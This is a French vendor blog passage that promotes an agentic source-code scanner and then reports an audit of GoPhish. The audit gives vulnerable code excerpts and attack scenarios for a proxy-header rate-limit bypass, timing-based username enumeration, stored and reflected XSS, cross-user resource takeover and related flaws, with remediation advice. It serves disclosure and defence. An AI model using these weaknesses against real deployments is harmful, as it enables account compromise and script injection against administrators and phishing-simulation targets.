L'explication de GitHub sur l'architecture du SAST fait clairement cette distinction : trouver un sink sensible ne prouve pas à soi seul une vulnérabilité. La preuve pertinente est le chemin non sécurisé entre une source et ce sink.

C'est là que la simple recherche de motifs atteint sa limite.

Pourquoi les scanners de code source génèrent des faux positifs

Un faux positif est un problème signalé qui semble dangereux au scanner mais n'est pas une véritable vulnérabilité dans le contexte de l'application.

Cela arrive souvent parce que le scanner ne voit qu'une partie de l'histoire. Il peut manquer un mécanisme d'assainissement personnalisé situé dans un autre fichier, ne pas comprendre un contrôle du framework, suivre un chemin inatteignable ou prendre des données de test pour un secret de production.

Parmi les causes courantes :

une analyse incomplète des flux de données ou de contrôle ;
une validation personnalisée que le scanner ne reconnaît pas ;
un contexte de framework, de dépendances ou de build manquant ;
du code mort ou inatteignable ;
des valeurs de test et des configurations d'exemple ;
une sévérité fondée sur une faiblesse générique plutôt que sur l'impact réel.

L'OWASP cite les faux positifs, les faux négatifs et la difficulté de prouver qu'un problème est une véritable vulnérabilité parmi les limites de l'analyse statique.

Le coût ne se limite pas au temps passé à examiner une mauvaise alerte. Le bruit répété apprend aux développeurs à se méfier du scanner. Lorsqu'une véritable vulnérabilité apparaît, elle rejoint une file que tout le monde a appris à ignorer.

C'est pourquoi l'objectif ne doit pas être « trouver plus ». Il doit être « supprimer autant d'incertitude que possible avant de demander à un développeur d'agir ».

Du scan statique à l'investigation agentique

Le scan traditionnel suit généralement un chemin court :

Pattern or query → match → alert

La sécurité agentique du code source ajoute une couche d'investigation :

Signal → gather context → follow the path → challenge the hypothesis → assess impact → report or discard → propose a fix

Un agent peut partir d'une opération suspecte, inspecter les fonctions environnantes, suivre les imports et les chemins d'appel, chercher des contrôles ailleurs dans le dépôt, tester des explications alternatives et poursuivre l'investigation lorsque la réponse n'est pas claire.

La différence n'est pas que les règles disparaissent. L'analyse déterministe reste utile pour trouver des faiblesses candidates. Le rôle de l'agent est d'investiguer ce que signifie le signal initial dans cette application.

Il peut poser des questions qu'une règle unique laisse souvent sans réponse :

L'entrée est-elle réellement contrôlée par l'attaquant ?
La fonction concernée est-elle atteignable ?
La validation est-elle appliquée dans un middleware partagé ?
Le secret suspect est-il réel et utilisé, ou n'est-ce qu'une valeur d'exemple ?
Une fonctionnalité vulnérable d'une dépendance est-elle réellement appelée ?
Un contrôle d'autorisation s'applique-t-il plus tôt dans le flux ?
Quelles conditions l'exploitation exigerait-elle ?
L'impact probable justifie-t-il la sévérité attribuée ?

Le résultat ne doit pas être une alerte plus longue. Il doit être un ensemble plus restreint de résultats, avec une chaîne de preuves plus claire.

C'est l'approche qui sous-tend Ostorlab Source Code. Au lieu de s'arrêter à une correspondance suspecte, Ostorlab réunit le contexte du dépôt, le chemin concerné, la sévérité, l'exploitabilité, l'impact métier et les recommandations de remédiation. Ses agents de code source sont conçus pour creuser les chemins complexes et les failles de logique, puis renvoyer des résultats que les développeurs peuvent examiner et traiter.

Comment la validation réduit concrètement les faux positifs

Les scanners traditionnels signalent souvent chaque motif suspect et laissent à l'équipe sécurité le soin de déterminer quels résultats sont réels.

Ostorlab déplace cette investigation dans le scan lui-même. Les agents de code source suivent le chemin vulnérable, examinent les contrôles environnants, évaluent l'atteignabilité et l'exploitabilité, et écartent les signaux qui ne résistent pas à une analyse plus poussée.

Ce qui parvient au développeur est un ensemble de résultats beaucoup plus restreint, chacun accompagné du chemin concerné, de l'impact, du contexte justificatif et des recommandations de remédiation nécessaires pour agir. La validation réduit les faux positifs. Elle ne les élimine pas : chaque résultat porte donc toujours les preuves dont un relecteur a besoin pour le confirmer ou le rejeter rapidement.

C'est la différence entre générer plus d'alertes et trouver les vulnérabilités qui comptent.

Ce que le test de sécurité du code source peut voir, et ce qu'il ne peut pas voir

L'analyse du code source peut détecter des faiblesses telles que :

des chemins d'injection SQL, NoSQL, de commandes et de templates ;
des opérations de fichiers non sécurisées et des traversées de répertoires ;
des schémas de cross-site scripting et de falsification de requête côté serveur ;
des secrets codés en dur et une utilisation non sécurisée de la cryptographie ;
une désérialisation non sécurisée ;
l'utilisation de dépendances vulnérables ;
une validation et des contrôles de sécurité manquants ;
des faiblesses d'authentification et d'autorisation ;
des transitions d'état non sécurisées et des contournements de workflow ;
des failles de logique propres à l'application lorsque le contexte est suffisant.

Mais le code source n'est pas le système entier. L'analyse statique peut avoir du mal avec la configuration propre à la production, les services externes, les relations d'infrastructure, l'état à l'exécution ou les règles métier qui n'existent que dans la documentation ou dans la tête des gens.

C'est pourquoi le test du code source doit compléter les autres formes de test, et non les remplacer.

Méthode	Ce qu'elle voit le mieux	Ce qu'elle peut manquer
SAST	Les faiblesses dans le code source avant l'exécution	Le contexte d'exécution et d'environnement
DAST	Le comportement observable de l'extérieur dans une application en cours d'exécution	Les chemins internes qu'il ne peut pas atteindre ou observer
SCA	Les risques connus dans les dépendances tierces	Si la fonctionnalité vulnérable est réellement atteignable
Revue manuelle de code	L'architecture, l'intention, les contrôles personnalisés et la logique métier	Une couverture continue de chaque modification
Test agentique du code source	Le contexte à l'échelle du dépôt, la validation itérative et la remédiation	Le contexte qui n'existe ni dans le code ni autour

Les recommandations de l'OWASP sur la revue de code sécurisé considèrent de même l'analyse automatisée et la revue manuelle comme complémentaires : l'automatisation met en évidence les zones suspectes, tandis qu'une revue plus approfondie traite le contexte, l'architecture et la logique que les outils peuvent manquer.

L'analyse agentique peut-elle trouver des failles de logique métier ?

Les vulnérabilités de logique métier sont difficiles parce que le code peut être techniquement valide alors que le workflow ne l'est pas sur le plan de la sécurité.

Un utilisateur applique plusieurs fois la même remise. Un responsable approuve sa propre transaction. Un locataire accède à la ressource d'un autre locataire via un endpoint valide. Rien ne ressemble nécessairement à une fonction universellement dangereuse. La faille se situe dans la relation entre les rôles, les états et le comportement attendu.

L'analyse agentique peut améliorer la couverture en reconstituant les workflows, en comparant les contrôles entre des opérations liées et en raisonnant sur les transitions d'état et les frontières d'autorisation.

Mais « propulsé par l'IA » n'est pas une preuve en soi. Un résultat crédible doit montrer le chemin concerné, l'hypothèse violée, les conditions requises pour l'exploitation et l'impact probable.

Ostorlab applique explicitement cette analyse plus poussée aux vulnérabilités complexes et aux bugs de logique, notamment les lacunes d'autorisation, les transitions d'état non sécurisées et les contournements de workflow. La valeur ne tient pas à l'étiquette « agentique ». Elle tient au contexte produit par l'investigation.

Ce que doit contenir un résultat exploitable

Un développeur ne devrait pas avoir à refaire toute l'investigation du scanner avant de pouvoir commencer à corriger le problème.

Un résultat exploitable doit inclure :

le dépôt, la révision, le fichier et l'emplacement dans le code concernés ;
une description claire de la vulnérabilité ;
le chemin de flux de données ou de contrôle pertinent ;
l'entrée contrôlée par l'attaquant ou la frontière de confiance rompue ;
le contrôle de sécurité manquant, contourné ou inefficace ;
des préconditions et un impact réalistes ;
des preuves expliquant pourquoi le résultat est considéré comme exploitable ;
des recommandations de remédiation propres à l'application ;
une modification de code proposée lorsqu'un correctif sûr peut être généré.

La sévérité seule n'est pas une explication. Une étiquette « critique » sans chemin crédible renvoie simplement l'investigation au développeur.

Ostorlab organise les résultats autour des chemins concernés, de l'exploitabilité, de l'impact, de la sévérité et de la priorité de remédiation. Les correctifs peuvent être renvoyés dans les pull requests, ce qui permet aux développeurs d'examiner la modification proposée à côté du code qui a introduit le risque.

Intégrer la sécurité du code source dans le workflow des développeurs

Le retour de sécurité perd de sa valeur lorsqu'il arrive longtemps après que le code a été fusionné et oublié.

Un workflow pratique combine :

Le scan au niveau des modifications pour un retour rapide sur le code en cours de revue.
Le scan complet du dépôt pour une couverture de base et les applications héritées.
Des contrôles de version sur la révision exacte du code qui sera livrée.
Une réévaluation planifiée à mesure que la base de code et la connaissance des menaces évoluent.
Une visibilité centralisée pour que les équipes AppSec puissent suivre le risque sans obliger les développeurs à quitter leur workflow habituel pour chaque tâche.

Le workflow actuel d'Ostorlab pour le code source prend en charge GitHub, GitLab, Bitbucket, Azure DevOps, les dépôts Git standard et les envois de fichiers ZIP. Les équipes peuvent sélectionner une branche, un tag ou un commit à analyser, examiner le chemin vulnérable et les preuves associées, et renvoyer la remédiation dans la pull request.

L'objectif est simple : garder le résultat, le code et le correctif dans la même conversation.

Comment évaluer un outil de sécurité du code source

Une longue liste de fonctionnalités ne dit pas ce que l'on ressent en utilisant un scanner. Testez-le sur du code représentatif et mesurez le travail qu'il crée autant que les vulnérabilités qu'il trouve.

Posez les questions suivantes :

Les résultats sont-ils dignes de confiance ?

Chaque résultat montre-t-il un chemin crédible et un contexte justificatif ?
La sévérité reflète-t-elle l'atteignabilité et l'impact réels ?
Combien de problèmes signalés survivent à une revue d'expert ?

Comprend-il votre base de code ?

Prend-il en charge vos langages, vos frameworks, vos dépôts et vos systèmes de build ?
Peut-il suivre des bibliothèques et des contrôles de sécurité personnalisés ?
Peut-il raisonner au-delà de motifs syntaxiques isolés ?

Que se passe-t-il après le premier signal ?

L'outil valide-t-il l'hypothèse ou se contente-t-il de lui attribuer un score ?
Peut-il reconnaître les mécanismes d'assainissement, les contrôles d'autorisation et les chemins inatteignables ?
Écarte-t-il les résultats non étayés avant qu'ils n'atteignent les développeurs ?

La remédiation est-elle utile ?

Les recommandations traitent-elles la cause racine ?
Le correctif proposé est-il spécifique à l'application et au framework ?
Le développeur peut-il inspecter la modification avant de l'accepter ?

S'intègre-t-il au workflow de développement ?

Les équipes peuvent-elles scanner la branche, le tag ou le commit exact en cours de revue ?
Les résultats et les correctifs apparaissent-ils là où les développeurs travaillent déjà ?
Le retour est-il assez rapide pour influencer la version ?

Pour la preuve de concept, incluez des vulnérabilités connues, de vrais problèmes déjà corrigés, des contrôles personnalisés et du code qui trompe fréquemment les scanners génériques. Suivez les résultats confirmés, les vulnérabilités manquées, le temps de tri, le temps de remédiation et l'acceptation par les développeurs des correctifs proposés.

Un plus grand nombre d'alertes ne prouve pas une meilleure couverture. Il peut seulement signifier que l'outil a transféré plus d'incertitude à votre équipe.

La sécurité du code source à l'ère des logiciels générés par l'IA

Les outils de codage par IA augmentent le volume et la vitesse des modifications logicielles. Les équipes de sécurité ne peuvent pas répondre en générant des alertes au même rythme accéléré.

Si la génération de code passe à l'échelle alors que chaque hypothèse de sécurité exige encore un tri manuel, le goulot d'étranglement se déplace simplement vers les équipes AppSec et d'ingénierie.

La sécurité du code source doit donc devenir plus investigative. Elle doit comprendre le contexte du dépôt, valider ce qui compte et amener la remédiation au point où un développeur peut l'examiner en toute sécurité.

La question pertinente n'est plus :

De combien de règles le scanner dispose-t-il ?

Elle est :

Quelle part d'incertitude supprime-t-il avant de demander à un humain d'agir ?

C'est le critère autour duquel Ostorlab Source Code est conçu : suivre le signal, comprendre le chemin, continuer à creuser quand la réponse n'est pas claire, et renvoyer le risque avec le contexte et le correctif nécessaires pour agir.

Découvrir Ostorlab Source Code

Analyse de la dernière version de GoPhish : audit de code source avec Ostorlab Agentic Deep Scan

2026-07-16T10:00:00+02:00

Audit de code source de la dernière version de GoPhish

Audit de code source avec Ostorlab Agentic Deep Scan · Huit résultats de niveau rapport · PoC locaux reproductibles

L'histoire : d'un chemin de code à un audit complet

Cet audit de code source de la dernière version de GoPhish, appuyé par Ostorlab Agentic Deep Scan, ne cherchait pas une seule classe de bugs. Il a suivi les chemins qui décident généralement si un contrôle de sécurité est réel : de l'entrée HTTP vers le stockage, du stockage vers un point d'injection dans le navigateur, de l'identité vers l'autorisation, et d'une URL vers une connexion sortante.

Au départ, la revue paraissait familière : un gestionnaire de connexion, une fonctionnalité d'import, du code de rendu côté navigateur. Puis les chemins ont commencé à converger. Une erreur renvoyée par un serveur de messagerie pouvait devenir du HTML dans le navigateur d'un administrateur. Un champ nommé id sur un endpoint de création pouvait changer le propriétaire d'un enregistrement existant. Un identifiant pouvait survivre à l'action même qu'un opérateur s'attendrait à voir le révoquer. Aucune de ces observations n'est spectaculaire isolément ; ensemble, elles décrivent une application dont les frontières de confiance les plus importantes étaient trop poreuses.

L'audit a relié un contournement de la limitation de débit dépendant du déploiement, une énumération de noms d'utilisateur et deux familles de XSS à la propriété des ressources entre utilisateurs, au cycle de vie de l'authentification de l'API, aux champs sensibles des utilisateurs et aux contrôles des requêtes côté serveur. Chaque résultat publiable a été tracé à travers le gestionnaire, le modèle, le middleware et le chemin navigateur ou réseau concernés avant d'être retenu.

Ostorlab Agentic Deep Scan a accompagné cet audit de bout en bout : il a fait ressortir des motifs récurrents à l'échelle du dépôt, notamment des chemins de création capables de mettre à jour des objets existants, des vérifications d'identifiants déconnectées de l'état du compte et des contrôles de requêtes sortantes dont le comportement changeait selon la configuration. Ces signaux ont guidé l'investigation ; l'article ne rapporte que les chemins complets et reproductibles que l'audit a confirmés.

Le résultat : huit résultats de niveau rapport. L'article inclut les procédures de preuve de concept locales utilisées pour les valider, ainsi que la remédiation correspondante. Elles sont destinées uniquement à des environnements de test isolés et autorisés. Les exemples utilisent des adresses de loopback, des utilisateurs synthétiques et des alertes de navigateur inoffensives ; ils ne doivent pas être employés contre des systèmes ou des comptes que vous ne possédez pas ou que vous n'avez pas l'autorisation explicite de tester.

Les scénarios de cet article sont des composites illustratifs fondés sur le comportement validé. Ils sont volontairement rédigés au niveau dont un responsable sécurité, un développeur ou un propriétaire de plateforme a besoin pour comprendre : ce dont un attaquant a besoin, quelle frontière de confiance cède, qui est concerné et à quoi ressemble un correctif durable.

#	Résultat	Composant principal	Impact concret	Risque
1	Contournement de la limitation de débit de connexion dépendant du reverse proxy	Routage d'administration / limiteur	Affaiblit la protection contre la force brute sur les déploiements exposés	Moyen
2	Énumération de noms d'utilisateur via un travail d'authentification asymétrique	Gestionnaire de connexion	Révèle les noms de compte valides	Faible
3	XSS stocké via les champs de destinataires importés	Import CSV/groupe → page de destination	Exécution de script dans le navigateur d'une cible, sur le domaine de phishing	Élevé
4	XSS stocké et réfléchi via les erreurs SMTP	Interface des campagnes	Exécution de script dans le navigateur d'un administrateur authentifié	Élevé
5	Prise de contrôle de ressources entre utilisateurs par upsert sur l'endpoint de création	Groupes, modèles, pages, profils SMTP	Transfert de propriété ; exposition des données de groupe	Élevé
6	Invalidation incomplète de la session et des identifiants d'API	Déconnexion / changement de mot de passe	Un identifiant capturé peut survivre à une action sur le compte	Moyen
7	Affectation en masse des champs sensibles du compte	`PUT /api/users/{id}`	Un utilisateur peut modifier des champs réservés à l'administration	Moyen
8	Accessibilité du réseau privé via Import Site par défaut	`POST /api/import/site`	Accès côté serveur à des adresses internes hors métadonnées	Faible

Pourquoi cet audit est important

GoPhish occupe une position de grande confiance. Il détient les données des destinataires, le contenu des campagnes, les pages de destination, la configuration de l'infrastructure de messagerie et les workflows servant à simuler la collecte d'identifiants. C'est précisément pourquoi ses frontières de sécurité doivent être explicites. Une faille dans une application métier ordinaire peut rester cantonnée à une fonctionnalité ; une faille dans une infrastructure de simulation de phishing peut affecter les données, les communications et la crédibilité de tout un programme de sécurité.

Ce qu'est GoPhish, et ce qu'on lui confie

GoPhish est une plateforme open source de simulation de phishing. Ses administrateurs assemblent des campagnes à partir de modèles d'e-mail, de pages de destination, de groupes de destinataires et de profils d'envoi ; la plateforme envoie ensuite les messages simulés, sert les pages de campagne et enregistre les résultats. La même application expose aussi une API afin que les opérateurs puissent automatiser la gestion des campagnes et des ressources.

Ce workflow réunit plusieurs domaines de confiance distincts dans un seul produit :

Les administrateurs et les utilisateurs de l'API contrôlent les campagnes, les données de profil, les groupes de destinataires et l'état des comptes.
Les données des destinataires sont importées puis injectées dans des modèles d'e-mail ou de pages de destination.
L'infrastructure SMTP est externe à l'application navigateur, mais peut fournir des erreurs de protocole que la plateforme enregistre et affiche.
Les cibles ouvrent les liens de campagne dans une origine de navigateur distincte, tandis que les administrateurs gèrent les campagnes dans l'origine d'administration privilégiée.
Import Site transforme une URL fournie par un utilisateur authentifié en requête sortante émise par le serveur GoPhish.

Contexte de la plateforme GoPhish et frontières de confiance

Figure 1 : contexte conceptuel de la plateforme. Les flux cyan représentent les chemins opérationnels prévus ; l'ambre marque les franchissements de frontières de confiance ; le rouge marque un chemin qui mérite un examen de sécurité particulier. Il s'agit d'un modèle explicatif, non d'un schéma d'architecture du produit.

Le serveur central est donc bien plus qu'un tableau de bord. C'est une couche de traduction entre des personnes, des données, des navigateurs, des systèmes de messagerie et des réseaux. Les résultats de cette revue apparaissent là où cette couche de traduction accepte une entrée issue d'un domaine et lui donne davantage d'autorité dans le suivant.

Pour un responsable technique, le message central n'est pas « huit tickets distincts ». C'est un seul modèle de sécurité mis sous pression de plusieurs directions :

Une entrée qui passe d'une liste de cibles ou d'un serveur SMTP vers un navigateur doit rester une donnée, et non du balisage.
Un utilisateur authentifié ne doit jamais pouvoir transformer une sémantique de création en sémantique de mise à jour entre utilisateurs.
La déconnexion, les changements de mot de passe et les verrouillages de compte doivent avoir le même sens dans l'interface, le cookie de session et l'API.
Une application qui récupère une URL doit partir du principe que cette URL cherche à atteindre un endroit qu'elle ne devrait pas.

La suite de cet article documente où ces règles ont cédé dans l'arborescence source examinée et comment les rendre applicables.

La carte des frontières de confiance que nous avons utilisée

Plutôt que de relire les fichiers isolément, nous avons cartographié le système comme un ensemble de franchissements de frontières. Cela a permis de poser la bonne question à chaque transition : qui contrôle cette valeur maintenant, qui lui fera confiance ensuite, et quelle autorité obtient-on si cette confiance est mal placée ?

Browser / API client ──► routing and authentication ──► application model ──► database
       │                            │                         │                 │
       │                            │                         │                 └─ ownership and state
       │                            │                         └─ create/update semantics
       │                            └─ identity, rate limit, account state
       │
       ├──► landing-page renderer ──► target browser
       ├──► campaign-results renderer ──► administrator browser
       └──► import-site client ──► network destination selected by a URL

La revue a trouvé des faiblesses à chacune de ces jonctions. C'est pourquoi un développeur ne devrait pas considérer ces résultats comme un ensemble de bugs de contrôleurs sans lien entre eux, et pourquoi un responsable technique devrait planifier la remédiation comme un petit programme de durcissement de la sécurité plutôt que comme une simple version de correctifs ponctuelle.

Défaillances conceptuelles des frontières de confiance dans l'audit

Figure 2 : le vocabulaire visuel utilisé tout au long de cet article. Le bleu montre les mouvements de données attendus ; l'ambre est le moment où une décision de frontière doit être prise ; le rouge illustre ce qui se passe quand des données non fiables reçoivent une autorité d'identité, de HTML, de propriété ou de réseau. Les quatre couloirs correspondent (de haut en bas) aux contrôles d'authentification, au rendu des destinataires, au rendu des erreurs SMTP, et à la persistance des objets d'API ainsi qu'aux contrôles des requêtes sortantes. Le texte de l'article reste l'explication de référence de chaque couloir.

Couloir	Décision de frontière	Défaillance illustrée
Authentification	Quel composant peut affirmer l'identité du client ?	Un en-tête de proxy contrôlé par le client crée un nouveau compartiment de limitation de débit.
Rendu des destinataires	Les données de contact importées sont-elles du texte ou du balisage ?	Un champ de destinataire devient du contenu actif dans le navigateur d'une cible.
Rendu des erreurs SMTP	Une erreur de protocole est-elle un contenu sûr pour le navigateur ?	Une erreur de serveur de messagerie arrive dans le DOM de l'administrateur sous forme de HTML.
Persistance de l'API et Import Site	Une entrée peut-elle changer la propriété ou choisir une destination réseau ?	Une requête de création met à jour l'objet d'un autre utilisateur ; une URL atteint une cible du réseau privé.

C'est aussi pourquoi le rapport regroupe les problèmes de cette façon. Le premier couloir couvre la limitation de débit et l'énumération d'utilisateurs ; le deuxième couvre le XSS de l'import CSV vers la page de destination ; le troisième couvre le XSS via les erreurs SMTP ; et le dernier regroupe deux problèmes d'autorité côté serveur : une persistance qui change la propriété et une URL qui change l'accessibilité réseau.

Périmètre et méthode de validation

Cet audit couvre la dernière version de GoPhish avec sa configuration par défaut fournie.

Comment nous avons validé le rapport

Chaque chemin publiable devait franchir deux vérifications. D'abord, nous devions identifier un flux de données complet dans le code source : point d'entrée, transformation ou stockage, et point d'injection sensible pour la sécurité. Ensuite, nous devions établir les conditions limites réelles : accès authentifié ou non, comportement de l'interface ou de l'API, configuration du reverse proxy, configuration par défaut ou optionnelle, et différence entre modification destructive et exposition de données. Nous avons ensuite reproduit le comportement en local avec des utilisateurs et des données synthétiques ; les procédures complètes figurent dans l'annexe de validation.

Cette rigueur a transformé plusieurs hypothèses initiales en résultats plus précis. Les niveaux de risque du tableau récapitulatif reflètent les chemins validés et leurs préconditions déclarées ; ce ne sont pas des affirmations de sévérité universelles pour tous les déploiements.

1. Le limiteur de connexion fait confiance à une adresse dérivée d'un proxy

GoPhish protège les requêtes POST d'administration par un limiteur de cinq requêtes par minute. Le limiteur construit ses compartiments à partir de l'adresse de la requête. En même temps, le gestionnaire d'administration est enveloppé par handlers.ProxyHeaders, qui accepte les en-têtes de transfert tels que X-Forwarded-For et X-Real-IP.

// controllers/route.go
adminHandler = handlers.ProxyHeaders(adminHandler)

// middleware/ratelimit/ratelimit.go
limit := rate.NewLimiter(
    rate.Every(time.Minute/time.Duration(limiter.requestLimit)),
    limiter.requestLimit,
)

Le limiteur prend sa décision à partir de r.RemoteAddr après normalisation des en-têtes de proxy :

clientIP, _, err := net.SplitHostPort(r.RemoteAddr)
if err != nil {
    clientIP = r.RemoteAddr
}
if r.Method == http.MethodPost && !limiter.allow(clientIP) {
    http.Error(w, http.StatusText(http.StatusTooManyRequests), http.StatusTooManyRequests)
    return
}

Il s'agit d'un problème dépendant du déploiement, et non d'un bug universel des en-têtes de proxy. Si GoPhish est directement accessible et qu'un proxy en amont ne supprime ni n'écrase les en-têtes de transfert fournis par le client, un attaquant peut faire varier l'adresse client apparente et obtenir de nouveaux compartiments de limitation. L'implémentation fait exactement ce qu'on lui a demandé : elle croit l'adresse fournie par le proxy. La défaillance vient de ce que l'application n'établit pas quel composant réseau est habilité à faire cette affirmation. Un reverse proxy correctement configuré, qui maîtrise ces en-têtes, empêche ce contournement précis.

Scénario illustratif — le contrôle qui ne fonctionne que sur le schéma. Une équipe sécurité déploie la console d'administration derrière un répartiteur de charge pendant une phase de son déploiement, puis expose directement un chemin de dépannage lors d'un incident. L'application continue de considérer les en-têtes de transfert comme faisant autorité. Son contrôle de cinq requêtes de connexion semble sain dans le code et lors d'un test basique, mais il n'est plus lié à une identité réseau stable. La leçon opérationnelle est que la limitation de débit est un contrôle de système : les règles de la périphérie, du proxy, de l'application et de la supervision doivent toutes s'accorder sur l'identité du client.

Priorité d'ingénierie : lier le service d'administration à une interface privée lorsque c'est possible ; n'autoriser les en-têtes de proxy que depuis des réseaux de proxys de confiance ; écraser les en-têtes de transfert entrants en périphérie ; et appliquer une seconde limitation de débit au niveau du reverse proxy ou du WAF.

Test de non-régression à conserver : envoyer des requêtes de connexion répétées avec des en-têtes de transfert falsifiés via l'ingress prévu du déploiement, vérifier qu'un seul compartiment client effectif est utilisé, et vérifier séparément que l'accès direct à l'administration est impossible ou rejette les en-têtes de proxy non fiables.

2. Le comportement de la connexion peut révéler l'existence d'un nom d'utilisateur

Dans AdminServer.Login, GoPhish commence par rechercher le nom d'utilisateur. Si la recherche échoue, il renvoie immédiatement une réponse de connexion invalide. Seul un utilisateur existant atteint auth.ValidatePassword, qui effectue la vérification du hachage du mot de passe.

u, err := models.GetUserByUsername(username)
if err != nil {
    as.handleInvalidLogin(w, r, "Invalid Username/Password")
    return
}
err = auth.ValidatePassword(password, u.Hash)

L'erreur affichée est volontairement identique, mais le travail ne l'est pas : un nom d'utilisateur existant déclenche la validation du hachage du mot de passe, contrairement à un nom inexistant. Sur des mesures répétées, cela peut créer un oracle temporel. La correction importante apportée au rapport initial est que le problème n'est pas dû uniquement au préchargement de l'ORM ; le code source ne contient aucune comparaison compensatoire avec un hachage de mot de passe factice pour le chemin de l'utilisateur inconnu.

C'est un bon exemple de la raison pour laquelle les revues de sécurité ne doivent pas s'arrêter à un message d'erreur générique. La chaîne renvoyée à l'utilisateur n'est qu'un observable parmi d'autres. La durée, le comportement de la base de données et l'interaction avec la limitation de débit font aussi partie du protocole d'authentification tel que le vit un attaquant.

Scénario illustratif — affiner une campagne de password spraying. Un attaquant n'a pas besoin d'une bannière « utilisateur introuvable » visible pour apprendre quelque chose d'utile. Avec assez de requêtes et un chemin réseau stable, une asymétrie entre la branche utilisateur inconnu et la branche utilisateur connu peut aider à distinguer les noms de compte probables. Cela réduit la liste pour une tentative ultérieure de password spraying ou une campagne d'ingénierie sociale. Ce résultat ne dit pas que tous les déploiements produiront un signal temporel net ; il dit que l'application crée inutilement ce signal en rendant le travail d'authentification conditionnel à l'existence du compte.

Priorité d'ingénierie : toujours exécuter le vérificateur de mot de passe — en utilisant un hachage factice fixe pour les utilisateurs inconnus — et maintenir cohérents les messages de réponse, les codes d'état et le travail observable. Appliquer en plus un plafonnement au niveau du compte et du réseau.

Test de non-régression à conserver : exercer des noms d'utilisateur valides et invalides avec le même mot de passe invalide dans un benchmark contrôlé. Le test doit confirmer que les deux chemins invoquent une comparaison de hachage de mot de passe et qu'aucune des réponses n'expose un statut, un corps ou un comportement de redirection différent.

3. Les champs CSV importés atteignent un modèle de page de destination non échappé

Le chemin d'import de groupe accepte des propriétés de destinataire comprenant FirstName, LastName et Position. Les valeurs sont conservées comme données de destinataire. Lorsqu'une campagne rend une page de destination, GoPhish construit un PhishingTemplateContext et exécute le contenu de la page via le paquet text/template de Go :

// models/template_context.go
tmpl, err := template.New("template").Parse(text)
if err != nil {
    return buff.String(), err
}
err = tmpl.Execute(&buff, data)

text/template n'effectue aucun échappement HTML contextuel. Une valeur importée dans un champ de destinataire peut donc devenir du balisage lorsqu'une page de destination utilise la variable de modèle correspondante. Le contexte d'exécution est l'origine de la page de destination de phishing dans le navigateur de la cible, et non automatiquement l'origine d'administration de GoPhish. Cette frontière est importante pour évaluer l'impact.

La transition de confiance concernée est simple mais dangereuse :

CSV / API recipient value
        ↓ stored as recipient metadata
campaign template variable (for example, a name field)
        ↓ text/template executes the page
target browser receives attacker-controlled markup

Le risque est autant opérationnel que technique. Les équipes importent souvent des listes de destinataires issues de systèmes RH, de tableurs, de tiers ou de jeux de données de test. La valeur peut ressembler à une donnée de contact au moment de l'ingestion, mais une fois que le moteur de modèles l'a placée dans un document HTML, elle est devenue du contenu exécutable par le navigateur.

Scénario illustratif — une liste réaliste devient une page active. Un opérateur de campagne importe un tableur fourni par une autre unité métier et construit une page de destination qui salue chaque destinataire par son nom. L'opérateur voit un workflow d'import de données ; l'application voit plus tard un modèle HTML avec des substitutions contrôlées par les destinataires. Lorsqu'une cible ouvre le lien de la campagne, le navigateur ne traite plus un champ de nom — il traite le balisage qui a survécu à l'import et au rendu du modèle. La cible n'a pas besoin d'accéder à GoPhish, et l'opérateur peut ne jamais remarquer la valeur dangereuse dans une longue liste.

Preuve assainie du XSS via CSV

Figure 3 : preuve de validation locale assainie. L'alerte inoffensive confirme qu'un champ de destinataire synthétique a franchi la frontière de l'import et du rendu de la page de destination. Aucune donnée de cible réelle ni aucun identifiant n'est affiché.

Priorité d'ingénierie : séparer le rendu selon le contexte de sortie. Utiliser html/template pour les pages de destination HTML, un rendu adapté au texte brut pour le contenu en texte brut, et une validation explicite des URL et des en-têtes là où c'est pertinent. Ne remplacez pas en bloc la fonction partagée ExecuteTemplate : elle sert aussi pour les corps d'e-mail, les URL, les en-têtes et les pièces jointes. Conserver un mécanisme typé et étroitement délimité pour le HTML de confiance généré par le système, comme le tracker, et traiter les données de contact importées comme non fiables, même lorsqu'elles proviennent du CSV d'un administrateur.

Test de non-régression à conserver : créer un enregistrement de destinataire contenant des caractères significatifs dans les contextes HTML et JavaScript ; rendre chaque champ de destinataire pris en charge dans une page de destination ; vérifier que le navigateur reçoit du texte encodé et non du balisage exécutable. Tester le moteur de rendu de la page de destination, et pas seulement l'analyse du CSV, car c'est au point d'injection que se décide l'exploitabilité.

4. Les échecs SMTP deviennent un point d'injection XSS dans le panneau d'administration

Le chemin suivant commence en dehors de l'application web : un serveur SMTP contrôle des portions d'une réponse d'erreur. Le backend convertit une error en détail d'événement et la persiste sans encodage HTML :

// models/result.go
func (r *Result) HandleEmailError(err error) error {
    event, err := r.createEvent(
        EventSendingError,
        EventError{Error: err.Error()},
    )
    // event is persisted with the campaign result
}

Le code côté client des résultats de campagne analyse ensuite les détails de l'événement, puis concatène details.error directement dans du HTML :

if (details.error) {
    results += '<div class="timeline-event-results">'
    results += '<span class="label label-default">Error</span> ' + details.error
    results += '</div>'
}

Cela crée un chemin de XSS stocké dans le panneau d'administration lorsqu'un administrateur ouvre ensuite le résultat de campagne concerné. Un chemin réfléchi apparenté existe lorsque l'interface de création de campagne insère sans encodage HTML un message d'erreur d'API issu d'une opération d'e-mail de test. Il ne s'agit pas d'une simple correspondance de chaînes spéculative : la même base de code démontre ailleurs le motif plus sûr en appelant escapeHtml() dans l'interface des profils d'envoi.

Il existe deux moments de risque distincts :

Chemin	Producteur non fiable	Point d'injection navigateur	Pourquoi c'est important
Stocké	Échec d'envoi SMTP persisté avec un événement de campagne	Chronologie des résultats de campagne	Le payload attend qu'un administrateur investigue un échec d'envoi.
Réfléchi	Échec SMTP renvoyé par l'API d'e-mail de test	Zone d'erreur de création de campagne	Le payload s'affiche immédiatement lors d'une action opérationnelle normale.

La source de la chaîne est elle aussi importante. Une réponse SMTP est un message de protocole externe. La traiter comme un contenu d'interface de confiance franchit deux fois une frontière de confiance : d'abord du réseau vers l'application, puis des données de l'application vers le HTML du DOM.

Preuve assainie du XSS via SMTP

Figure 4 : preuve de validation SMTP locale assainie. L'écouteur de test émet un payload d'erreur SMTP inoffensif utilisé pour les vérifications des chemins stocké et réfléchi ; aucun secret ni détail d'endpoint actif n'est affiché.

L'impact est plus élevé qu'une simple erreur d'interface cosmétique, car le point d'injection se trouve dans une origine d'administration authentifiée. L'interface examinée expose l'identifiant d'API de l'utilisateur actif au JavaScript du navigateur dans templates/base.html, ce qui rend la remédiation du XSS DOM particulièrement urgente.

